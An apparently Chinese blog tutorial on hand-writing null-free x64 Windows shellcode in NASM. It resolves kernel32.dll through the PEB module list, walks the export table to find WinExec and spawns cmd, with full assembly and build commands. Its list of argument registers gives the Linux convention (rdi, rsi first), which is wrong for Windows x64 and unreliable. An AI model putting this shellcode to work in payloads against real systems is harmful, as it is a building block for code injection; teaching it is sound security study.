环境

  • windows 10_x64
  • windbg_x64
  • x64dbg
  • nasm
  • 适用于 VS 2017 的 x64 本机工具命令提示(安装visual studio会自带)
  • redasm

shellcode

shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言/汇编编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
虽然现在的操作系统都带有__security_cookie或者栈不可执行等安全措施,但是shellcode依然有广阔的利用空间,比如远线程注入后执行任意代码之类。

nasm_x64汇编

先来说说x64与x86汇编的几个主要的不同点:
首先自然是寻址范围的扩大,其次是寄存器的变更,64位汇编中寄存器除了段寄存器外,其余的都是64位,即8字节,所以栈结构的入栈和出栈字节数都要求模8。eax等几个常见寄存器也变成了rax、rbx、rcx…等,但eax这些寄存器并没有作废,而是将其作为访问rax等寄存器低32位的寄存器,其大致关系

除此之外还增加了r8、r9、r10、r12、r13、r14、r15寄存器,他们的低32位使用r’数字’d的形式进行访问,比如r8d就是访问r8寄存器的低32位,而低16位则用r‘数字’w的形式进行访问,除此之外还有一些指令上的变更此处不做详解。

汇编源文件编写

实现过程
首先应该了解一下nasm编译器的语法规则:[Intel汇编-NASM]基本语法
然后在redasm下新建一个源文件,值得一提的是redasm其实是一个集成IDE但是我个人不太喜欢它集成的功能,所以对于我而言只是把它当作一个编辑器,然后新建的源文件大致如下

global start
section .text
start:

global用于指定程序入口点
section .text定义指令段
start:之后便是我们要编写的代码,因为只是shellcode,所以追求简洁一点,就不去过多的定义段了

首先我们要明确我们shellcode的功能是什么,在这里我就简单使用WinExec函数弹出一个新的cmd。然后我们要知道如何在汇编层面调用winapi,我们知道在linux可以使用“syscall+中断”结合的方式轻易的调用操作系统提供给我们的系统调用,但windows不一样他需要一系列复杂的操作:

我们需要先访问到TEB,这里我使用x64架构的系统进行演示,但要注意x86在偏移上存在一定不同

然后我们想要找到PEB结构体,在x64架构系统下它在TEB结构体的0x60偏移处
然后我们需要找到PEB结构体中的Ldr成员,他是一个_PEB_LDR_DATA类型的结构体变量


  • 注意0x10、0x20、0x30三处偏移:

  • InLoadOrderModuleList是按照加载顺序排列的模块

  • InMemoryOrderModuleList是按照内存顺序排列的模块

  • InInitializationOrderModuleList是按初始化的顺序排列的列表

我们可以通过他们三个中的任意一个来获取我们所需要的函数所在的dll模块
然后使用!peb来查看dll模块在InMemoryOrderModuleList中的排列顺序之后我们也将通过InMemoryOrderModuleList来获取我们所需要的dll模块

找到我们所需要的dll模块后我们只需要再去解析pe文件,解析找到我们所需要函数的导出符号表内容的地址与导出表功能地址然后传参调用即可。
代码实现
首先我们需要明确WinExec函数位于kernel32.dll中所以我们需要找到它
然后我们来找到TEB与PEB这部分我们可以通过fs(x86下)与gs(x64下)段寄存器来完成

     xor r8,r8xor rcx,rcxxor r10,r10add r10,60h                      ;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断mov rax,[gs:r10]               ;找到PEB,rax=PEB

gs默认指向TEB在x64下PEB位于TEB的0x60偏移处,x86不是这个偏移具体是多少我忘记了,可以自行使用windbg查看。
找到了PEB我们需要再找到Ldr与Ldr中的InMemoryOrderModuleList成员以便我们找到我们需要的kernel32.dll

     xor r8,r8xor rcx,rcxxor r10,r10add r10,60h                      ;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断mov rax,[gs:r10]               ;找到PEB,rax=PEBmov rax,[rax+18h]               ;rax = PEB->Ldrmov rsi,[rax+20h]               ;rsi = PEB->Ldr.InMemoryOrderModuleList

接下来我们需要开始找kernel32.dll的基址了,根据刚才再windbg中查看到的InMemoryOrderModuleList一开始指向的第一个模块是进程本身,第二个模块是ntdll.dll,第三个模块便是我们要找的kernel32.dll

     xor r8,r8xor rcx,rcxxor r10,r10add r10,60h                      ;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断mov rax,[gs:r10]               ;找到PEB,rax=PEBmov rax,[rax+18h]               ;rax = PEB->Ldrmov rsi,[rax+20h]               ;rsi = PEB->Ldr.InMemoryOrderModuleListlodsq                            ;获取ntdlll.dll模块         xchg rax,rsi                    ;交换rax与rsi的值lodsq                           ;获取kernel32.dll模块mov rbx,[rax+20h]             ;获取kernel32.dll的基址

现在我们获取到了kernel32.dll的基址我们需要解析这个PE文件来获取导出符号表的位置来循环查找WinExec函数

     xor r8,r8xor rcx,rcxxor r10,r10add r10,60h                      ;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断mov rax,[gs:r10]               ;找到PEB,rax=PEBmov rax,[rax+18h]               ;rax = PEB->Ldrmov rsi,[rax+20h]               ;rsi = PEB->Ldr.InMemoryOrderModuleListlodsq                            ;获取ntdlll.dll模块         xchg rax,rsi                    ;交换rax与rsi的值lodsq                           ;获取kernel32.dll模块mov rbx,[rax+20h]             ;获取kernel32.dll的基址;rbx=kernnel32.dll的基址,e_lfanew指向PE头,解析kernel32.dll的PE结构xor r8,r8                       ;异或将r8寄存器中每一位都清0mov r8d,[rbx+3ch]              ;R8D = Dos Header-> e_lfanew偏移量,因为Dos Header-> e_lfanew只占四个字节xor rdx,rdxmov rdx,r8                       ;rdx = r8 = Dos Header-> e_lfanewadd rdx,rbx                       ;kernel32.dll基址+e_lfanew,rdx=PE Headermov rax,0ffffffffffffffffh       ;直接mov rax,88h可能会导致出现好几个字节的0sub rax,0ffffffffffffff77h      ;使用减法让rax等于88hmov r8d,[rdx+rax]                ;导出表偏移地址存在位置88h,此地址为4字节add r8,rbx                        ;基址+偏移=导出表的物理地址

现在找到了导出表,我们还要找到导出表的名称表,名称表里存着函数名,我们需要遍历这些函数名来找到符合我们需求的函数

     xor r8,r8xor rcx,rcxxor r10,r10add r10,60h                      ;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断mov rax,[gs:r10]               ;找到PEB,rax=PEBmov rax,[rax+18h]               ;rax = PEB->Ldrmov rsi,[rax+20h]               ;rsi = PEB->Ldr.InMemoryOrderModuleListlodsq                            ;获取ntdlll.dll模块         xchg rax,rsi                    ;交换rax与rsi的值lodsq                           ;获取kernel32.dll模块mov rbx,[rax+20h]             ;获取kernel32.dll的基址;rbx=kernnel32.dll的基址,e_lfanew指向PE头,解析kernel32.dll的PE结构xor r8,r8                       ;异或将r8寄存器中每一位都清0mov r8d,[rbx+3ch]              ;R8D = Dos Header-> e_lfanew偏移量,因为Dos Header-> e_lfanew只占四个字节xor rdx,rdxmov rdx,r8                       ;rdx = r8 = Dos Header-> e_lfanewadd rdx,rbx                       ;kernel32.dll基址+e_lfanew,rdx=PE Headermov rax,0ffffffffffffffffh       ;直接mov rax,88h可能会导致出现好几个字节的0sub rax,0ffffffffffffff77h      ;使用减法让rax等于88hmov r8d,[rdx+rax]                ;导出表偏移地址存在位置88h,此地址为4字节add r8,rbx                        ;基址+偏移=导出表的物理地址xor rsi,rsi                        ;异或将rsi寄存器每一位都清0mov esi,[r8+20h]               ;获取导出表名称表偏移地址,此地址为4字节add rsi,rbx                     ;获取导出表名称表的物理地址xor rcx,rcx                       ;清空rcx寄存器,用于作为循环遍历的下标mov r9d,456e6957h;             ;r9d寄存器赋值为字符串WinE(倒叙放入)

r9d用于存放我们要找的函数的前四个字节,我们之后需要用这四个字节的内容去跟循环中当前所获取到的函数名的前四个字节去进行比较,如果一致则认为找到我们所需的函数。
然后我们开始循环遍历

     xor r8,r8xor rcx,rcxxor r10,r10add r10,60h                      ;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断mov rax,[gs:r10]               ;找到PEB,rax=PEBmov rax,[rax+18h]               ;rax = PEB->Ldrmov rsi,[rax+20h]               ;rsi = PEB->Ldr.InMemoryOrderModuleListlodsq                            ;获取ntdlll.dll模块         xchg rax,rsi                    ;交换rax与rsi的值lodsq                           ;获取kernel32.dll模块mov rbx,[rax+20h]             ;获取kernel32.dll的基址;rbx=kernnel32.dll的基址,e_lfanew指向PE头,解析kernel32.dll的PE结构xor r8,r8                       ;异或将r8寄存器中每一位都清0mov r8d,[rbx+3ch]              ;R8D = Dos Header-> e_lfanew偏移量,因为Dos Header-> e_lfanew只占四个字节xor rdx,rdxmov rdx,r8                       ;rdx = r8 = Dos Header-> e_lfanewadd rdx,rbx                       ;kernel32.dll基址+e_lfanew,rdx=PE Headermov rax,0ffffffffffffffffh       ;直接mov rax,88h可能会导致出现好几个字节的0sub rax,0ffffffffffffff77h      ;使用减法让rax等于88hmov r8d,[rdx+rax]                ;导出表偏移地址存在位置88h,此地址为4字节add r8,rbx                        ;基址+偏移=导出表的物理地址xor rsi,rsi                        ;异或将rsi寄存器每一位都清0mov esi,[r8+20h]               ;获取导出表名称表偏移地址,此地址为4字节add rsi,rbx                     ;获取导出表名称表的物理地址xor rcx,rcx                       ;清空rcx寄存器,用于作为循环遍历的下标mov r9d,456e6957h;             ;r9d寄存器赋值为字符串WinE(倒叙放入);获取WinExec函数GetFun:                          ;循环遍历获取函数inc rcx                        ;rcx++xor rax,rax                 ;rax清0,用于存放函数名的物理地址mov eax,[rsi+rcx*4h]     ;获取一个函数名称偏移地址,此地址为4字节add rax,rbx                 ;获取函数名称物理地址cmp dword [rax],r9d          ;让dword[rax],r9d相减,但不保存结果只置标志位,相当于比较两值是否相同jnz GetFun                  ;如果标志位不为0则跳转,结合上面,相当于不相同则跳转

这个循环结束后就可以找到我们的函数名称表的位置了,光找到函数名还没有用,我们需要找到此函数确切的功能实现代码所在的地址

     xor r8,r8xor rcx,rcxxor r10,r10add r10,60h                      ;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断mov rax,[gs:r10]               ;找到PEB,rax=PEBmov rax,[rax+18h]               ;rax = PEB->Ldrmov rsi,[rax+20h]               ;rsi = PEB->Ldr.InMemoryOrderModuleListlodsq                            ;获取ntdlll.dll模块         xchg rax,rsi                    ;交换rax与rsi的值lodsq                           ;获取kernel32.dll模块mov rbx,[rax+20h]             ;获取kernel32.dll的基址;rbx=kernnel32.dll的基址,e_lfanew指向PE头,解析kernel32.dll的PE结构xor r8,r8                       ;异或将r8寄存器中每一位都清0mov r8d,[rbx+3ch]              ;R8D = Dos Header-> e_lfanew偏移量,因为Dos Header-> e_lfanew只占四个字节xor rdx,rdxmov rdx,r8                       ;rdx = r8 = Dos Header-> e_lfanewadd rdx,rbx                       ;kernel32.dll基址+e_lfanew,rdx=PE Headermov rax,0ffffffffffffffffh       ;直接mov rax,88h可能会导致出现好几个字节的0sub rax,0ffffffffffffff77h      ;使用减法让rax等于88hmov r8d,[rdx+rax]                ;导出表偏移地址存在位置88h,此地址为4字节add r8,rbx                        ;基址+偏移=导出表的物理地址xor rsi,rsi                        ;异或将rsi寄存器每一位都清0mov esi,[r8+20h]               ;获取导出表名称表偏移地址,此地址为4字节add rsi,rbx                     ;获取导出表名称表的物理地址xor rcx,rcx                       ;清空rcx寄存器,用于作为循环遍历的下标mov r9d,456e6957h;             ;r9d寄存器赋值为字符串WinE(倒叙放入);获取WinExec函数GetFun:                          ;循环遍历获取函数inc rcx                        ;rcx++xor rax,rax                 ;rax清0,用于存放函数名的物理地址mov eax,[rsi+rcx*4h]     ;获取一个函数名称偏移地址,此地址为4字节add rax,rbx                 ;获取函数名称物理地址cmp dword [rax],r9d          ;让dword[rax],r9d相减,但不保存结果只置标志位,相当于比较两值是否相同jnz GetFun                  ;如果标志位不为0则跳转,结合上面,相当于不相同则跳转xor rsi,rsi                        ;rsi清0,用于存放普通表的物理地址mov esi,[r8+24h]             ;获取导出表中普通表的偏移,此地址为4字节add rsi,rbx                     ;偏移+基址=物理地址mov cx,[rsi+rcx*2h]               ;功能的数量,此地址为2字节xor rsi,rsi                        ;rsi寄存器清0,用于存放偏移地址表的物理地址mov esi,[r8+1ch]               ;导出表偏移地址表的偏移地址,此地址为4字节add rsi,rbx                    ;求出偏移地址表的物理地址xor rdx,rdx                    ;清空rdx,用于存放函数功能的物理地址mov edx,[rsi+rcx*4]             ;获取到函数功能的偏移地址,此地址为4字节add rdx,rbx                 ;获取到物理地址mov rdi,rdx                 ;rdi=rdx

现在万事俱备只欠东风了,我们只要去传参后调用函数就好了

     xor r8,r8xor rcx,rcxxor r10,r10add r10,60h                      ;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断mov rax,[gs:r10]               ;找到PEB,rax=PEBmov rax,[rax+18h]               ;rax = PEB->Ldrmov rsi,[rax+20h]               ;rsi = PEB->Ldr.InMemoryOrderModuleListlodsq                            ;获取ntdlll.dll模块         xchg rax,rsi                    ;交换rax与rsi的值lodsq                           ;获取kernel32.dll模块mov rbx,[rax+20h]             ;获取kernel32.dll的基址;rbx=kernnel32.dll的基址,e_lfanew指向PE头,解析kernel32.dll的PE结构xor r8,r8                       ;异或将r8寄存器中每一位都清0mov r8d,[rbx+3ch]              ;R8D = Dos Header-> e_lfanew偏移量,因为Dos Header-> e_lfanew只占四个字节xor rdx,rdxmov rdx,r8                       ;rdx = r8 = Dos Header-> e_lfanewadd rdx,rbx                       ;kernel32.dll基址+e_lfanew,rdx=PE Headermov rax,0ffffffffffffffffh       ;直接mov rax,88h可能会导致出现好几个字节的0sub rax,0ffffffffffffff77h      ;使用减法让rax等于88hmov r8d,[rdx+rax]                ;导出表偏移地址存在位置88h,此地址为4字节add r8,rbx                        ;基址+偏移=导出表的物理地址xor rsi,rsi                        ;异或将rsi寄存器每一位都清0mov esi,[r8+20h]               ;获取导出表名称表偏移地址,此地址为4字节add rsi,rbx                     ;获取导出表名称表的物理地址xor rcx,rcx                       ;清空rcx寄存器,用于作为循环遍历的下标mov r9d,456e6957h;             ;r9d寄存器赋值为字符串WinE(倒叙放入);获取WinExec函数GetFun:                          ;循环遍历获取函数inc rcx                        ;rcx++xor rax,rax                 ;rax清0,用于存放函数名的物理地址mov eax,[rsi+rcx*4h]     ;获取一个函数名称偏移地址,此地址为4字节add rax,rbx                 ;获取函数名称物理地址cmp dword [rax],r9d          ;让dword[rax],r9d相减,但不保存结果只置标志位,相当于比较两值是否相同jnz GetFun                  ;如果标志位不为0则跳转,结合上面,相当于不相同则跳转xor rsi,rsi                        ;rsi清0,用于存放普通表的物理地址mov esi,[r8+24h]             ;获取导出表中普通表的偏移,此地址为4字节add rsi,rbx                     ;偏移+基址=物理地址mov cx,[rsi+rcx*2h]               ;功能的数量,此地址为2字节xor rsi,rsi                        ;rsi寄存器清0,用于存放偏移地址表的物理地址mov esi,[r8+1ch]               ;导出表偏移地址表的偏移地址,此地址为4字节add rsi,rbx                        ;求出偏移地址表的物理地址xor rdx,rdx                        ;清空rdx,用于存放函数功能的物理地址mov edx,[rsi+rcx*4]             ;获取到函数功能的偏移地址,此地址为4字节add rdx,rbx                     ;获取到物理地址mov rdi,rdx                     ;rdi=rdx;调用WinExec函数mov rax,0ffffffffffffffffh     ;直接传入cmd字符串的ascii码会导致0截断sub rax,0ffffffffff9b929ch      ;所以使用相减的方法push rax                      ;字符串cmd入栈mov rcx,rsp                        ;获取到字符串cmd的内存地址,rcx寄存器对应第一个参数inc rdx                         ;rdx寄存器对应函数的第2个参数call rdi                       ;调用WinExec("cmd", 1)

这里要大概知晓一下函数参数与寄存器之间的对应关系:

  • rdi:第一个参数
  • rsi:第二个参数
  • rdx:第三个参数
  • rcx:第四个参数
  • r8:第五个参数
  • r9:第六个参数
  • 大于六个参数后的参数通过push入栈的方式传参,顺序是从右往左

因为WinExec只有两个参数,而在这里rdi与rsi已经被我们用了所以我们需要使用rdx与rcx来进行传参
在这里编译后会发现程序还是无法正常运行,那是因为我们没有给我们的程序分配足够的栈区进行数据的储存,除此之外还应该对rbp等寄存器的原值进行保存在程序执行完后再恢复保证进程不会崩掉,使用完整的代码应该如下

;__author__:Pluviophile
;__email__ :1565203609@qq.com
;__date__  :2020/11/18;调用WinExec打开一个新的cmd
;X86架构机器下PEB结构位于0x30偏移位置,Ldr位于0x0c偏移
;X64架构机器下PEB结构位于0x60偏移位置,Ldr位于0x18偏移
;其他具体的结构体偏移不同的请自行使用windbg观察
;寄存器作用:rbx存放kernel32.dll基址,rsi存放导出表中名称表的物理地址,r8存放导出表物理地址
;注意:偏移地址都为4字节global start
section .text
start:push rax                      ;寄存器保留原值push rcxpush rdxpush rbxpush rsipush rdipush rbp            ;获取kernel32.dll基址sub rsp,28h                        ;开辟栈区xor r8,r8xor rcx,rcxxor r10,r10add r10,60h                     ;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断mov rax,[gs:r10]               ;找到PEB,rax=PEBmov rax,[rax+18h]               ;rax = PEB->Ldrmov rsi,[rax+20h]               ;rsi = PEB->Ldr.InMemoryOrderModuleListlodsq                            ;获取ntdlll.dll模块         xchg rax,rsi                    ;交换rax与rsi的值lodsq                           ;获取kernel32.dll模块mov rbx,[rax+20h]             ;获取kernel32.dll的基址;rbx=kernnel32.dll的基址,e_lfanew指向PE头,解析kernel32.dll的PE结构xor r8,r8                       ;异或将r8寄存器中每一位都清0mov r8d,[rbx+3ch]              ;R8D = Dos Header-> e_lfanew偏移量,因为Dos Header-> e_lfanew只占四个字节xor rdx,rdxmov rdx,r8                       ;rdx = r8 = Dos Header-> e_lfanewadd rdx,rbx                       ;kernel32.dll基址+e_lfanew,rdx=PE Headermov rax,0ffffffffffffffffh       ;直接mov rax,88h可能会导致出现好几个字节的0sub rax,0ffffffffffffff77h      ;使用减法让rax等于88hmov r8d,[rdx+rax]                ;导出表偏移地址存在位置88h,此地址为4字节add r8,rbx                        ;基址+偏移=导出表的物理地址xor rsi,rsi                        ;异或将rsi寄存器每一位都清0mov esi,[r8+20h]               ;获取导出表名称表偏移地址,此地址为4字节add rsi,rbx                     ;获取导出表名称表的物理地址xor rcx,rcx                       ;清空rcx寄存器,用于作为循环遍历的下标mov r9d,456e6957h;             ;r9d寄存器赋值为字符串WinE(倒叙放入);获取WinExec函数GetFun:                          ;循环遍历获取函数inc rcx                        ;rcx++xor rax,rax                 ;rax清0,用于存放函数名的物理地址mov eax,[rsi+rcx*4h]     ;获取一个函数名称偏移地址,此地址为4字节add rax,rbx                 ;获取函数名称物理地址cmp dword [rax],r9d          ;让dword[rax],r9d相减,但不保存结果只置标志位,相当于比较两值是否相同jnz GetFun                  ;如果标志位不为0则跳转,结合上面,相当于不相同则跳转xor rsi,rsi                        ;rsi清0,用于存放普通表的物理地址mov esi,[r8+24h]             ;获取导出表中普通表的偏移,此地址为4字节add rsi,rbx                     ;偏移+基址=物理地址mov cx,[rsi+rcx*2h]               ;功能的数量,此地址为2字节xor rsi,rsi                        ;rsi寄存器清0,用于存放偏移地址表的物理地址mov esi,[r8+1ch]               ;导出表偏移地址表的偏移地址,此地址为4字节add rsi,rbx                        ;求出偏移地址表的物理地址xor rdx,rdx                        ;清空rdx,用于存放函数功能的物理地址mov edx,[rsi+rcx*4]             ;获取到函数功能的偏移地址,此地址为4字节add rdx,rbx                     ;获取到物理地址mov rdi,rdx                     ;rdi=rdx;调用WinExec函数mov rax,0ffffffffffffffffh     ;直接传入cmd字符串的ascii码会导致0截断sub rax,0ffffffffff9b929ch      ;所以使用相减的方法push rax                      ;字符串cmd入栈mov rcx,rsp                        ;获取到字符串cmd的内存地址,rcx寄存器对应第一个参数inc rdx                         ;rdx寄存器对应函数的第2个参数call rdi                       ;调用WinExec("cmd", 1)add rsp,28h                       ;回收栈区pop rbp                        ;恢复原有寄存器值pop rdipop rsipop rbxpop rdxpop rcxpop raxretn

**

编译链接

**

现在开始编译连接,安装好nasm后将其写入默认系统路径,然后再visual studio的安装目录下找到“适用于 VS 2017 的 x64 本机工具命令提示”,一般在vs安装好后在开始菜单的目录里就可以找到,因为我们使用x64编译,所以选择x64版本

编译:

nasm -f win64 a2.asm -o a2.obj

-f用于指定架构类型,可以是win64、win32、elf等
a2.asm就是我们刚刚写好的源文件,a2.obj就是即将要生成的目标文件
链接:

link /entry:start /MACHINE:X64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE a2.obj

link是vs安装后默认自带的连接器,
/entry指定了程序入口
/SUBSYSTEM指定的程序类型,控制台或者窗口程序
a2.obj是刚生成的目标文件,默认他会生成一个与目标文件同名的exe执行文件。

然后程序正常执行弹出cmd,然后我们只需要使用x64dbg来获取机器码即可,在编写程序调试程序的过程中x64dbg也会发挥很大的作用,使用编写shellcode不但要对汇编语言具有一定的了解,还要熟练的使用x64dbg与windbg等调试软件。
除此以外肯定还会有人存在疑问:如果我在shellcode里调用的函数不在进程默认加载的模块中,例如system函数就在msvcrt.dll中怎么办?
其实这样也好办,只不过代码就会变得比较长而已,我们可以先从kernel32.dll中获取到GetProcAddress函数用它去加载LoadLibrary函数,然后再用LoadLibrary函数去加载我们需要的dll模块,最后再用遍历的方式从LoadLibrary函数返回的值也就是那个被加载模块的基址开始去找到我们需要的函数即可,顺带再提一句在x64汇编中返回值通常都会被放入rax寄存器,我们可以在调用完函数后通过rax寄存器拿到函数的返回值。

Windows 10_X64环境shellcode编写相关推荐

  1. windows 平台shellcode编写

    0x00.介绍 比方说你手头上有一个IE或FlashPlayer现成的漏洞利用代码,但它只能够打开计算器calc.exe.但是这实际上并没有什么卵用,不是吗?你真正想要的是可以执行一些远程命令或实现其 ...

  2. windows下shellcode编写入门

    0x00.介绍 比方说你手头上有一个IE或FlashPlayer现成的漏洞利用代码,但它只能够打开计算器calc.exe.但是这实际上并没有什么卵用,不是吗?你真正想要的是可以执行一些远程命令或实现其 ...

  3. WINDOWS的SHELLCODE编写高级技巧

    WINDOWS的SHELLCODE编写高级技巧 unix等系统因为有用户概念,所以往往溢出是使用先得到普通帐号,然后登陆后用溢出 再加载一个SHELL的办法得到ROOT权限,其系统调用又方便,所以SH ...

  4. 64位虚拟机下asm()语法_一步步学写Windows下的Shellcode

    如何在WIndows下编写一个shellcode?为什么会问这个问题,前段时间在做win下的Exploit,但是都是使用大佬写的shellcode,无法实现个人的一些需求.而网络上编写shellcod ...

  5. 【移动安全高级篇】————3、Android系统ShellCode编写

    随着Android手机的普及,Android系统安全日益受人关注.漏洞攻防是安全的一大课题,其中自然少不了shellcode的编写.本文将以提出问题.解决问题的方式教你如何编写Android系统she ...

  6. shellcode编写探究

    前言 shellcode是不依赖环境,放到任何地方都可以执行的机器码.shellcode的应用场景很多,本文不研究shellcode的具体应用,而只是研究编写一个shellcode需要掌握哪些知识. ...

  7. Xamarin ios C#苹果应用开发第二讲配置环境和编写代码

    Xamarin ios C#苹果应用开发第二讲配置环境和编写代码 Xamarin ios C#苹果应用开发第二讲配置环境和编写代码 观看地址://v.youku.com/v_show/id_XNzE1 ...

  8. 以太坊源码linux下如何编译,以太坊教程:搭建环境、编写编译一个智能合约

    本以太坊教程主要是介绍:搭建一个开发环境.编写编译一个智能合约. 以太坊是什么 以太坊(Ethereum)是一个开源的有智能合约功能的公共区块链平台.通过其专用加密货币以太币(Ether)提供去中心化 ...

  9. Delphi环境中编写调用DLL的方法和技巧

    Delphi环境中编写调用DLL的方法和技巧 第一章 为什么要使用动态链接库(DLL) top 提起DLL您一定不会陌生,在Windows中有着大量的以DLL为后缀的文件,它们是保证Windows正常 ...

最新文章

  1. 汇编语言——《子程序应用(数制转换)程序设计》实验报告
  2. CNN目标检测(二):YOLO
  3. Swift之深入解析构造过程和析构过程
  4. CodeForces - 1553E Permutation Shift(暴力+置换群求环)
  5. 使用nodejs和Java访问远程服务器的服务
  6. SpringBoot详解(一)-快速入门
  7. openoffice 安装 linux环境
  8. 编程范式之栈的抽象操作
  9. 推荐:年度巨献:《Ubuntu桌面生存指南》(作者:ghosert)
  10. 一张思维导图完成淘宝精细化运营
  11. 证明:T(n)= T(n-1) + O(n)等于O(n的平方)
  12. 编程实现恩格玛加密机(C++)
  13. vulnhub刷题记录(Pwn The Tron:1)
  14. vins estimator ProjectionFactor (Td) factor
  15. 结束时间和开始时间不能大于31天
  16. AI智能写作将改变文学创作的未来?
  17. jquery文字提示框
  18. 湖北师范大学----操作系统实训(c语言)
  19. 千锋教育python2104期总结day2
  20. cocos 拼图思路

热门文章

  1. html5手机不能自动播放音乐,解决 iPhone 微信 H5 无法自动播放音乐问题
  2. 梅斯大学的计算机专业排名,2018法国排名前50的大学一览表
  3. 【总结】ACM比赛生涯总结
  4. Android写出资源到根目录,创建一个文件夹并将其写入android的根目录
  5. 学计算机多大显卡够用,4GB显存过气、买新显卡非8GB不选?2分钟搞懂多大显存适合你...
  6. 创建maven或者Gradle项目的时候GroupId和ArtifactId以及Version是什么意思?
  7. 【无标题】全套管钻机噪声试验方法分析研究
  8. CompileFlow 基本组件--第二节
  9. 从零开始整合spingMVC
  10. php幸运盲盒抽奖程序源码